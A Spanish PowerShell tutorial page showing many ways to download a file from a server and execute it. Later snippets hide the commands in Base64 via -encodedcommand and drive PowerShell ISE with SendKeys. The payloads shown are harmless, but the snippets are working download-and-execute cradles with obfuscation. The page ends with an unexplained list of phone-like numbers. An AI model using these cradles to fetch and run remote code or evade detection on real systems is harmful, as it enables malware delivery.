Scripting and security

Operating Systems, software development, scripting, PowerShell tips, network and security

Menú principal
  • Categorías
  • Cursos
  • Libro de PowerShell
  • Lo mejor
  • Lo último
  • Proyectos
  • Contactar
Ir al contenido

Formas de descargar y ejecutar ficheros desde un servidor en PowerShell

Ofertas y promociones en Videojuegos

PowerShell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#Descargar y ejecutar un fichero .exe
Set-Location $env:TEMP
Start-BitsTransfer -Source 'https://www.jesusninoc.com/app.exe'
.\app.exe
 
#Descargar y ejecutar un fichero .txt
Set-Location $env:TEMP
Start-BitsTransfer -Source 'https://www.jesusninoc.com/script.txt'
.\script.ps1
 
#Descargar y ejecutar un fichero .ps1
Set-Location $env:TEMP
Start-BitsTransfer -Source 'https://www.jesusninoc.com/script.ps1'
.\script.ps1
 
#Descargar un fichero .txt, renombrar a .ps1 y ejecutar
Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config.ps1
powershell -File $env:TEMP\config.ps1
 
#Descargar y ejecutar un fichero .txt con cmdlets
Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt'
powershell (Get-Content $env:TEMP\config.txt)
 
#Ejecutar código en Base64
$command="Get-Date"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code
 
#Descargar un fichero mediante un cmdlet en Base64
$command="Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config2.txt"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code
Get-Content $env:TEMP\config2.txt
 
#Descargar un fichero mediante un cmdlet en Base64 y ejecutar el contenido del fichero
$command="Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config2.txt"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code
powershell (Get-Content $env:TEMP\config2.txt)
 
#Ejecutar un cmdlet en Base64
$command="Get-Date"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code
 
#Ejecutar un fichero cuyo contenido está en Base64
#$command="Get-Date"
$code="RwBlAHQALQBEAGEAdABlAA=="
powershell -encodedcommand $code
 
#Descargar un fichero mediante un cmdlet en Base64 y ejecutar el contenido del fichero cuyo contenido está en Base64
$command="Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config2.txt"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code
$code2=Get-Content $env:TEMP\config2.txt
powershell -encodedcommand $code2
 
#Descargar un fichero mediante un cmdlet en Base64 y ejecutar el contenido del fichero cuyo contenido está en Base64 (versión optimizada)
$command="Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config2.txt"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code
#Contenido del fichero config2.txt
#$command="Get-Date"
#$code="RwBlAHQALQBEAGEAdABlAA=="
powershell -encodedcommand (Get-Content $env:TEMP\config2.txt)
 
#Descargar un fichero mediante un cmdlet en Base64 y ejecutar el contenido del fichero cuyo contenido está en Base64 (versión optimizada y en una línea)
$command="Start-BitsTransfer -Source https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt -Destination $env:TEMP\config2.txt";$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command));powershell -encodedcommand $code;powershell -encodedcommand (Get-Content $env:TEMP\config2.txt)
 
#Descargar un fichero mediante un cmdlet en Base64 y ejecutar el contenido del fichero cuyo contenido está en Base64 (realizar todas las operaciones en Base64)
$codefor64='$command="Start-BitsTransfer -Source https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt -Destination $env:TEMP\config2.txt";$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command));powershell -encodedcommand $code;$codefar=Get-Content $env:TEMP\config2.txt;powershell -encodedcommand $codefar'
$codebase64=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($codefor64))
powershell -encodedcommand $codebase64
 
#Abrir PowerShell ISE y ejecutar un cmdlet
Start-Process powershell_ise
Start-Sleep -Seconds 5
[System.Windows.Forms.SendKeys]::SendWait("Get-Date")
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
 
#Abrir PowerShell ISE y ejecutar un cmdlet en Base64
Start-Process powershell_ise
Start-Sleep -Seconds 5
[System.Windows.Forms.SendKeys]::SendWait("powershell -encodedcommand RwBlAHQALQBEAGEAdABlAA==")
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
 
#Abrir PowerShell ISE y ejecutar un cmdlet guardado en un fichero
Start-Process powershell_ise
Start-Sleep -Seconds 5
[System.Windows.Forms.SendKeys]::SendWait('$coman=Get-Content $env:TEMP\config2.txt;powershell $coman')
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
 
#Abrir PowerShell ISE y ejecutar un cmdlet copiado en el Portapapeles
Start-Process powershell_ise
Start-Sleep -Seconds 5
$copy='$coman=Get-Content $env:TEMP\config2.txt;powershell $coman'
Set-Clipboard $copy
[System.Windows.Forms.SendKeys]::SendWait("^(v)")
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
 
#Abrir PowerShell ISE y ejecutar un cmdlet guardado en un fichero cuyo contenido está en Base64
Start-Process powershell_ise
Start-Sleep -Seconds 5
[System.Windows.Forms.SendKeys]::SendWait('$coman=Get-Content $env:TEMP\config2.txt;powershell -encodedcommand $coman')
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")

 

CATEGORÍAS

PowerShell, Seguridad

ETIQUETAS

App, Base64, Code, Código, Copy, Date, env, Get-Content, Get-Date, HTTPS, Jesús Niño Camazón, powershell_ise, SendWait, Set-Clipboard, Set-Location, Source, Start-BitsTransfer, Start-Process, Start-Sleep, System.Convert, System.Text.Encoding, System.Windows.Forms.SendKeys, Text.Encoding, ToBase64String, Windows

MÁS

  • Instalación de Sistemas Operativos (Sistemas informáticos)
  • Instalación de servidores de aplicaciones Web (Implantación de aplicaciones web)
  • Formas de descargar y ejecutar ficheros desde un servidor en PowerShell utilizando Invoke-WebRequest
  • Instalación en red (Sistemas operativos en red)
  • Explicación sobre el uso de funciones que están en DLL del sistema operativo (en PowerShell)
  • Técnico Superior en Administración de Sistemas Informáticos en Red
616007170 626545608 677571808 649046841 680188090 680235881 630328215 622503407 652738023 624354030 689245223 652289240 610674023 609366049 617839652 675453311 643274541 637365864 646459161 645050194 659564165 677127591 616472099 612553526 677973617 685797569 695705774 673820141 678823960 679976289 644073856 643851090 685656520 675584796 669826926 681085874 644086561 643663437 622631246 637124831 648737786 661323868 672011447 694957922 602342899 611637760 652015958 611085388 692821883 637198120 668006881 636271349 684987932 624046156 670710883 670770521 698631436 646950946 676347757 615475275 629799359 609768195 617445585 667617854 670228718 615072355 612021582 653098070 647771504 600715688